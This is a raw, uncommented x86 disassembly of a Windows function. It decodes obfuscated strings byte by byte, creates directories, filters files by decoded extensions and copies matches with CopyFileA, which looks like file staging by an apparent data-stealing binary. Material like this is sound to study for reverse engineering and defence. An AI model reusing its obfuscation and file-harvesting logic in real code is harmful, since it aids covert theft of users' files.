and eax, 0xfffffff7
lea ecx, [ebp - 0xe24]
mov dword [ebp - 0x14], eax
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x4402c3
mov byte [ebp - 0xf], 0
xor ecx, ecx
mov dword [ebp - 0x77], 0x263b3916
mov byte [ebp - 0x73], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x77]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x77], al
inc ecx
cmp ecx, 4
jb 0x440260
sub esp, 0x18
lea eax, [ebp - 0x77]
mov ecx, esp
mov dword [ebp - 0x20], esp
lea edx, [ebp - 0x2f4]
push eax
call fcn.004635e0
mov byte [ebp - 4], 0x7c
sub esp, 0x14
lea eax, [ebp - 0xa6c]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x7d
mov byte [ebp - 4], 0x7a
mov cl, byte [ebp - 0xf]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x4402c3
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x15], 1
mov dword [ebp - 0x1f4], 0x3e2b2e16
xor ecx, ecx
mov dword [ebp - 0x1f0], 0x392b282b
mov word [ebp - 0x1ec], 0x392f
mov byte [ebp - 0x1ea], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x1f4]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1f4], al
inc ecx
cmp ecx, 0xa
jb 0x4402f0
lea eax, [ebp - 0x1f4]
push eax
lea edx, [ebp - 0x5d0]
lea ecx, [ebp - 0xa54]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0xa54]
cmp dword [ebp - 0xa40], 0x10
cmovae ecx, dword [ebp - 0xa54]
call fcn.0040b930
test al, al
je 0x4403c9
mov dword [ebp - 0x1ff], 0x3e2b2e16
xor ecx, ecx
mov dword [ebp - 0x1fb], 0x392b282b
mov word [ebp - 0x1f7], 0x392f
mov byte [ebp - 0x1f5], 0
movzx eax, byte [ebp + ecx - 0x1ff]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1ff], al
inc ecx
cmp ecx, 0xa
jb 0x440371
lea eax, [ebp - 0x1ff]
push eax
lea edx, [ebp - 0x2f4]
lea ecx, [ebp - 0xe3c]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x7f
mov edi, dword [ebp - 0x14]
or edi, 0x10
mov dword [ebp - 0x14], edi
cmp dword [eax + 0x14], 0x10
jb 0x4403bc
mov eax, dword [eax]
push 0
push eax
call esi
mov byte [ebp - 0xd], 1
test eax, eax
jne 0x4403cd
mov byte [ebp - 0xd], 0
mov dword [ebp - 4], 0x7e
mov eax, dword [ebp - 0x14]
test al, 0x10
je 0x4403ec
and eax, 0xffffffef
lea ecx, [ebp - 0xe3c]
mov dword [ebp - 0x14], eax
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x44048c
mov byte [ebp - 0xf], 0
xor ecx, ecx
mov dword [ebp - 0x20a], 0x3e2b2e16
mov dword [ebp - 0x206], 0x392b282b
mov word [ebp - 0x202], 0x392f
mov byte [ebp - 0x200], 0
movzx eax, byte [ebp + ecx - 0x20a]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x20a], al
inc ecx
cmp ecx, 0xa
jb 0x440420
sub esp, 0x18
lea eax, [ebp - 0x20a]
mov ecx, esp
mov dword [ebp - 0x20], esp
lea edx, [ebp - 0x2f4]
push eax
call fcn.004635e0
mov byte [ebp - 4], 0x80
sub esp, 0x14
lea eax, [ebp - 0xa54]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x81
mov byte [ebp - 4], 0x7e
mov cl, byte [ebp - 0xf]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x44048c
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x15], 1
mov dword [ebp - 0x24b], 0x24252916
xor ecx, ecx
mov dword [ebp - 0x247], 0x642d232c
mov dword [ebp - 0x243], 0x24253920
mov byte [ebp - 0x23f], 0
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x24b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x24b], al
inc ecx
cmp ecx, 0xc
jb 0x4404c0
lea eax, [ebp - 0x24b]
push eax
lea edx, [ebp - 0x5d0]
lea ecx, [ebp - 0x898]
call fcn.004635e0
mov byte [ebp - 4], 0x82
lea edx, [ebp - 0x898]
cmp dword [ebp - 0x884], 0x10
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x898]
sub esp, 0x14
mov esi, esp
mov dword [ebp - 0x20], esp
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edi, [ecx + 1]
mov dword [esi + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440530
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0x83
mov byte [ebp - 4], 0x82
call fcn.0040b890
add esp, 0x18
test al, al
je 0x44065f
mov dword [ebp - 0x193], 0x24252916
xor ecx, ecx
mov dword [ebp - 0x18f], 0x642d232c
mov dword [ebp - 0x18b], 0x24253920
mov byte [ebp - 0x187], 0
movzx eax, byte [ebp + ecx - 0x193]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x193], al
inc ecx
cmp ecx, 0xc
jb 0x440581
mov byte [ebp - 4], 0x84
lea ecx, [ebp - 0x193]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4405b0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x2e4]
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [ebp - 0x2e0], 0x10
lea eax, [ebp - 0x2f4]
push ecx
cmovae eax, dword [ebp - 0x2f4]
lea ecx, [ebp - 0x193]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xcec]
call fcn.00467530
mov edi, dword [ebp - 0x1c]
lea ecx, [ebp - 0xcec]
or edi, 0x200000
lea eax, [ebp - 0x898]
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0xcd8], 0x10
push 0
cmovae ecx, dword [ebp - 0xcec]
cmp dword [ebp - 0x884], 0x10
push ecx
cmovae eax, dword [ebp - 0x898]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and edi, 0xffdfffff
mov esi, eax
mov dword [ebp - 0x1c], edi
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0xcec]
call fcn.00402890
test esi, esi
je 0x44065f
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x15], 1
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x898]
call fcn.00402890
mov byte [ebp - 4], 0x7a
lea ecx, [ebp - 0xa54]
call fcn.00402890
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0xa6c]
call fcn.00402890
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0xa84]
call fcn.00402890
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0xa9c]
call fcn.00402890
cmp byte [ebp - 0xe], 0
mov edi, dword [ebp - 0x14]
jne 0x4406c2
push ecx
lea ecx, [ebp - 0x2f4]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x5d0]
call fcn.00402890
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x7c], 0x32251e16
xor ecx, ecx
mov byte [ebp - 0x78], 0
movzx eax, byte [ebp + ecx - 0x7c]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x7c], al
inc ecx
cmp ecx, 4
jb 0x4406e4
lea eax, [ebp - 0x7c]
push eax
lea edx, [ebp - 0x4b4]
lea ecx, [ebp - 0x540]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x85
lea eax, [ebp - 0x540]
cmp dword [ebp - 0x52c], 0x10
push 0
cmovae eax, dword [ebp - 0x540]
push eax
call esi
test eax, eax
je 0x440c5f
xor al, al
mov dword [ebp - 0x59], 0x32253e16
mov byte [ebp - 0xd], al
xor ecx, ecx
mov byte [ebp - 0x55], al
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x59]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x59], al
inc ecx
cmp ecx, 4
jb 0x440750
xorps xmm0, xmm0
mov dword [ebp - 0x6e0], 0
lea ecx, [ebp - 0x59]
mov dword [ebp - 0x6dc], 0
movups xmmword [ebp - 0x6f0], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440790
sub ecx, edx
lea eax, [ebp - 0x59]
push ecx
push eax
lea ecx, [ebp - 0x6f0]
call fcn.00402aa0
mov byte [ebp - 4], 0x86
xor ecx, ecx
mov dword [ebp - 0x125], 0xe1a1a0b
mov dword [ebp - 0x121], 0xb1e0b
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x125]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x125], al
inc ecx
cmp ecx, 7
jb 0x4407d0
lea eax, [ebp - 0x125]
push eax
call fcn.004de911
lea ecx, [ebp - 0x6f0]
mov edx, eax
push ecx
lea ecx, [ebp - 0xdc4]
call fcn.004637a0
add esp, 8
mov byte [ebp - 4], 0x88
mov ecx, dword [ebp - 0x6dc]
cmp ecx, 0x10
jb 0x44084c
mov edx, dword [ebp - 0x6f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x440842
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44141f
push ecx
push edx
call fcn.004b9cb1
add esp, 8
push 1
sub esp, 0x18
mov dword [ebp - 0x6e0], 0
lea eax, [ebp - 0xdc4]
mov dword [ebp - 0x20], esp
mov ecx, esp
mov dword [ebp - 0x6dc], 0xf
mov byte [ebp - 0x6f0], 0
push eax
mov byte [ebp - 0xf], 0
call fcn.0045f3c0
mov byte [ebp - 4], 0x89
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x7b4]
mov dl, byte [ebp - 0xf]
call fcn.004215d0
add esp, 0x1c
mov byte [ebp - 4], 0x8a
mov eax, dword [ebp - 0x7b4]
mov ecx, dword [ebp - 0x7b0]
mov dword [ebp - 0x2c], eax
cmp eax, ecx
je 0x440c2c
mov byte [ebp - 0x34], 0
mov edi, ecx
mov byte [ebp - 0x2a8], 0
push eax
lea ecx, [ebp - 0xacc]
call fcn.0045f3c0
mov byte [ebp - 4], 0x8b
lea edx, [ebp - 0xacc]
push dword [ebp - 0x34]
lea ecx, [ebp - 0xab4]
call fcn.0046a450
mov byte [ebp - 4], 0x8e
lea ecx, [ebp - 0xab4]
cmp dword [ebp - 0xaa0], 8
mov eax, dword [ebp - 0xaa4]
cmovae ecx, dword [ebp - 0xab4]
lea esi, [ecx + eax*2]
mov edx, esi
call fcn.00404d20
push dword [ebp - 0x2a8]
sub esi, eax
mov dword [ebp - 0x24], eax
sar esi, 1
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0xd94]
mov dword [ebp - 0x20], esi
call fcn.0046a1b0
add esp, 8
mov byte [ebp - 4], 0x8e
lea eax, [ebp - 0x2dc]
or dword [ebp - 0x14], 0x200
lea ecx, [ebp - 0xd94]
push eax
call fcn.00405000
mov byte [ebp - 4], 0x90
and dword [ebp - 0x14], 0xfffffdff
mov byte [ebp - 4], 0x91
lea ecx, [ebp - 0xd94]
call fcn.00461540
mov dword [ebp - 0x5e], 0x32253e64
xor ecx, ecx
mov byte [ebp - 0x5a], 0
movzx eax, byte [ebp + ecx - 0x5e]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x5e], al
inc ecx
cmp ecx, 4
jb 0x440973
lea edx, [ebp - 0x5e]
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x440990
sub edx, ecx
lea eax, [ebp - 0x5e]
cmp dword [ebp - 0x2c8], 0x10
lea ecx, [ebp - 0x2dc]
push edx
cmovae ecx, dword [ebp - 0x2dc]
mov edx, dword [ebp - 0x2cc]
push eax
push 0
call fcn.00464d90
add esp, 0xc
cmp eax, 0xffffffff
jne 0x440a9b
mov dword [ebp - 0x63], 0x23242364
xor ecx, ecx
mov byte [ebp - 0x5f], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x63]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x63], al
inc ecx
cmp ecx, 4
jb 0x4409e0
lea edx, [ebp - 0x63]
lea ecx, [edx + 1]
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x440a00
sub edx, ecx
lea eax, [ebp - 0x63]
cmp dword [ebp - 0x2c8], 0x10
lea ecx, [ebp - 0x2dc]
push edx
cmovae ecx, dword [ebp - 0x2dc]
mov edx, dword [ebp - 0x2cc]
push eax
push 0
call fcn.00464d90
add esp, 0xc
cmp eax, 0xffffffff
jne 0x440a9b
mov dword [ebp - 0x45], 0x282e64
xor ecx, ecx
movzx eax, byte [ebp + ecx - 0x45]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x45], al
inc ecx
cmp ecx, 3
jb 0x440a40
lea edx, [ebp - 0x45]
lea ecx, [edx + 1]
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x440a60
sub edx, ecx
lea eax, [ebp - 0x45]
cmp dword [ebp - 0x2c8], 0x10
lea ecx, [ebp - 0x2dc]
push edx
cmovae ecx, dword [ebp - 0x2dc]
mov edx, dword [ebp - 0x2cc]
push eax
push 0
call fcn.00464d90
add esp, 0xc
cmp eax, 0xffffffff
je 0x440be5
push 0x16
mov byte [ebp - 0x40], 0
call fcn.004606a0
mov byte [ebp - 0x41], al
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x41]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440ab3
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x530]
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [ebp - 0x52c], 0x10
lea eax, [ebp - 0x540]
push ecx
cmovae eax, dword [ebp - 0x540]
lea ecx, [ebp - 0x41]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xdac]
call fcn.00467530
or dword [ebp - 0x14], 0x800
mov byte [ebp - 4], 0x94
lea eax, [ebp - 0x2dc]
cmp dword [ebp - 0x2c8], 0x10
lea ecx, [ebp - 0xdac]
push dword [ebp - 0x2cc]
cmovae eax, dword [ebp - 0x2dc]
push eax
call fcn.00461960
mov dword [ebp - 0x750], 0
lea ecx, [ebp - 0x760]
mov dword [ebp - 0x74c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x760], xmm0
push 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x760], xmm0
movq xmm0, qword [eax + 0x10]
or dword [ebp - 0x14], 0x400
movq qword [ebp - 0x750], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xacc]
cmp dword [ebp - 0x74c], 0x10
cmovae ecx, dword [ebp - 0x760]
cmp dword [ebp - 0xab8], 0x10
push ecx
cmovae eax, dword [ebp - 0xacc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x14], 0xfffffbff
mov esi, eax
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x760]
call fcn.00402890
and dword [ebp - 0x14], 0xfffff7ff
mov byte [ebp - 4], 0x91
lea ecx, [ebp - 0xdac]
call fcn.00402890
test esi, esi
je 0x440be5
mov byte [ebp - 0xd], 1
mov byte [ebp - 0x15], 1
mov byte [ebp - 4], 0x8d
lea ecx, [ebp - 0x2dc]
call fcn.00402890
mov byte [ebp - 4], 0x8b
lea ecx, [ebp - 0xab4]
call fcn.00461540
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0xacc]
call fcn.00402890
mov eax, dword [ebp - 0x2c]
add eax, 0x18
mov dword [ebp - 0x2c], eax
cmp eax, edi
jne 0x4408c2
cmp byte [ebp - 0xd], 0
mov edi, dword [ebp - 0x14]
jne 0x440c3b
push ecx
lea ecx, [ebp - 0x540]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x7b4]
call fcn.004612b0
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0xdc4]
call fcn.00402890
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x12d], 0x2e231a16
xor ecx, ecx
mov dword [ebp - 0x129], 0x24232d
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x12d]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x12d], al
inc ecx
cmp ecx, 7
jb 0x440c80
lea eax, [ebp - 0x12d]
push eax
lea edx, [ebp - 0x4b4]
lea ecx, [ebp - 0x528]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x96
lea eax, [ebp - 0x528]
cmp dword [ebp - 0x514], 0x10
push 0
cmovae eax, dword [ebp - 0x528]
push eax
call esi
test eax, eax
je 0x44104e
mov dword [ebp - 0x9b], 0x3f3a6416
xor ecx, ecx
mov dword [ebp - 0x97], 0x2f263a38
mov byte [ebp - 0x93], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x9b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x9b], al
inc ecx
cmp ecx, 8
jb 0x440d00
xorps xmm0, xmm0
mov dword [ebp - 0xad4], 0
lea ecx, [ebp - 0x9b]
mov dword [ebp - 0xad0], 0
movups xmmword [ebp - 0xae4], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440d42
sub ecx, edx
lea eax, [ebp - 0x9b]
push ecx
push eax
lea ecx, [ebp - 0xae4]
call fcn.00402aa0
mov byte [ebp - 4], 0x97
xor ecx, ecx
mov dword [ebp - 0x135], 0xe1a1a0b
mov dword [ebp - 0x131], 0xb1e0b
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x135]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x135], al
inc ecx
cmp ecx, 7
jb 0x440d80
lea eax, [ebp - 0x135]
push eax
call fcn.004de911
lea ecx, [ebp - 0xae4]
mov edx, eax
push ecx
lea ecx, [ebp - 0x510]
call fcn.004637a0
add esp, 8
mov byte [ebp - 4], 0x99
lea ecx, [ebp - 0xae4]
call fcn.00402890
cmp dword [ebp - 0x4fc], 0x10
lea ecx, [ebp - 0x510]
cmovae ecx, dword [ebp - 0x510]
call fcn.0040b930
test al, al
je 0x441030
mov dword [ebp - 0x266], 0x29292b16
xor ecx, ecx
mov dword [ebp - 0x262], 0x3e243f25
mov dword [ebp - 0x25e], 0x27326439
mov word [ebp - 0x25a], 0x26
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x266]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x266], al
inc ecx
cmp ecx, 0xd
jb 0x440e20
sub esp, 0x18
lea eax, [ebp - 0x266]
mov ecx, esp
mov dword [ebp - 0x20], esp
lea edx, [ebp - 0x510]
push eax
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x9a
mov byte [ebp - 4], 0x99
call fcn.0040b890
add esp, 0x18
test al, al
je 0x441030
mov dword [ebp - 0x1af], 0x29292b16
xor ecx, ecx
mov dword [ebp - 0x1ab], 0x3e243f25
mov dword [ebp - 0x1a7], 0x27326439
mov word [ebp - 0x1a3], 0x26
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x1af]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1af], al
inc ecx
cmp ecx, 0xd
jb 0x440ea0
mov byte [ebp - 4], 0x9b
lea ecx, [ebp - 0x1af]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440ec8
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x518]
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [ebp - 0x514], 0x10
lea eax, [ebp - 0x528]
push ecx
cmovae eax, dword [ebp - 0x528]
lea ecx, [ebp - 0x1af]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xc14]
call fcn.00467530
or dword [ebp - 0x1c], 0x1000
lea esi, [ebp - 0xc14]
cmp dword [ebp - 0xc00], 0x10
mov dword [ebp - 0x1bd], 0x29292b16
cmovae esi, dword [ebp - 0xc14]
xor ecx, ecx
mov dword [ebp - 0x1b9], 0x3e243f25
mov dword [ebp - 0x1b5], 0x27326439
mov word [ebp - 0x1b1], 0x26
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1bd]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1bd], al
inc ecx
cmp ecx, 0xd
jb 0x440f60
mov byte [ebp - 4], 0x9c
lea ecx, [ebp - 0x1bd]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440f88
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x500]
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [ebp - 0x4fc], 0x10
lea eax, [ebp - 0x510]
push ecx
cmovae eax, dword [ebp - 0x510]
lea ecx, [ebp - 0x1bd]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xd04]
call fcn.00467530
or dword [ebp - 0x1c], 0x2000
lea eax, [ebp - 0xd04]
cmp dword [ebp - 0xcf0], 0x10
push 0
cmovae eax, dword [ebp - 0xd04]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x1c], 0xffffdfff
mov esi, eax
mov byte [ebp - 4], 0x9b
lea ecx, [ebp - 0xd04]
call fcn.00402890
and dword [ebp - 0x1c], 0xffffefff
mov byte [ebp - 4], 0x99
lea ecx, [ebp - 0xc14]
call fcn.00402890
test esi, esi
je 0x441030
mov byte [ebp - 0x15], 1
jmp 0x44103f
push ecx
lea ecx, [ebp - 0x528]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x510]
call fcn.00402890
cmp byte [ebp - 0x15], 0
jne 0x441063
push ecx
lea ecx, [ebp - 0x4b4]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0x528]
call fcn.00402890
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x540]
call fcn.00402890
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x2f4]
call fcn.00402890
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x914]
call fcn.00402890
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x92c]
call fcn.00402890
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x944]
call fcn.00402890
and edi, 0xffffefff
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4b4]
call fcn.00402890
cmp byte [ebp - 0x30], 0
je 0x44140a
mov dword [ebp - 0x4a], 0x41a1c16
xor ecx, ecx
mov byte [ebp - 0x46], 0
nop
movzx eax, byte [ebp + ecx - 0x4a]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x4a], al
inc ecx
cmp ecx, 4
jb 0x4410f0
mov dword [ebp - 4], 0x9d
lea ecx, [ebp - 0x4a]
mov edx, dword [0x538b9c]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x441118
sub ecx, esi
mov esi, closesocket
mov eax, esi
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [0x538ba0], 0x10
mov eax, 0x538b8c
push ecx
cmovae eax, dword [0x538b8c]
lea ecx, [ebp - 0x4a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x558]
call fcn.00467530
or edi, 0x40
lea eax, [ebp - 0x558]
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x544], 0x10
push 0
cmovae eax, dword [ebp - 0x558]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4413f2
movaps xmm0, xmmword [0x526b20]
xor ecx, ecx
mov byte [ebp - 0xd], 0
movups xmmword [ebp - 0x79a], xmm0
mov byte [ebp - 0x78a], 0
movzx eax, byte [ebp + ecx - 0x79a]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x79a], al
inc ecx
cmp ecx, 0x10
jb 0x4411a1
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0x79a]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4411d0
sub ecx, edx
mov edx, dword [ebp - 0x548]
sub esi, edx
cmp esi, ecx
jb 0x44141a
cmp dword [ebp - 0x544], 0x10
lea eax, [ebp - 0x558]
push ecx
cmovae eax, dword [ebp - 0x558]
lea ecx, [ebp - 0x79a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x8e4]
call fcn.00467530
or edi, 0x20000
lea eax, [ebp - 0x8e4]
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x8d0], 0x10
push 0
cmovae eax, dword [ebp - 0x8e4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4413cb
movaps xmm0, xmmword [0x526b20]
xor ecx, ecx
movups xmmword [ebp - 0x3aa], xmm0
mov dword [ebp - 0x39a], 0x25383a16
mov dword [ebp - 0x396], 0x2f26232c
mov word [ebp - 0x392], 0x39
movzx eax, byte [ebp + ecx - 0x3aa]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x3aa], al
inc ecx
cmp ecx, 0x19
jb 0x441271
xorps xmm0, xmm0
mov dword [ebp - 0xaec], 0
lea ecx, [ebp - 0x3aa]
mov dword [ebp - 0xae8], 0
movups xmmword [ebp - 0xafc], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4412b3
sub ecx, edx
lea eax, [ebp - 0x3aa]
push ecx
push eax
lea ecx, [ebp - 0xafc]
call fcn.00402aa0
mov byte [ebp - 4], 0x9f
xor ecx, ecx
mov dword [ebp - 0x13d], 0xe1a1a0b
mov dword [ebp - 0x139], 0xb1e0b
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x13d]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x13d], al
inc ecx
cmp ecx, 7
jb 0x4412f0
lea eax, [ebp - 0x13d]
push eax
call fcn.004de911
lea ecx, [ebp - 0xafc]
mov edx, eax
push ecx
lea ecx, [ebp - 0xb14]
call fcn.004637a0
add esp, 8
mov byte [ebp - 4], 0xa1
lea ecx, [ebp - 0xafc]
call fcn.00402890
cmp dword [ebp - 0xb00], 0x10
lea ecx, [ebp - 0xb14]
cmovae ecx, dword [ebp - 0xb14]
call fcn.0040b930
test al, al
je 0x4413a7
sub esp, 0x18
mov byte [ebp - 0x30], 0
lea eax, [ebp - 0x8e4]
mov dword [ebp - 0x20], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0xa2
sub esp, 0x18
lea eax, [ebp - 0xb14]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0xa3
mov byte [ebp - 4], 0xa1
mov cl, byte [ebp - 0x30]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x4413a7
mov byte [ebp - 0xd], 1
jmp 0x4413b6
push ecx
lea ecx, [ebp - 0x8e4]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0xb14]
call fcn.00402890
cmp byte [ebp - 0xd], 0
jne 0x4413da
push ecx
lea ecx, [ebp - 0x558]
call fcn.0040b980
add esp, 4
and edi, 0xfffdffff
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x9d
lea ecx, [ebp - 0x8e4]
call fcn.00402890
and edi, 0xffffffbf
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x558]
call fcn.00402890
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00402210
call fcn.004d51a0
int3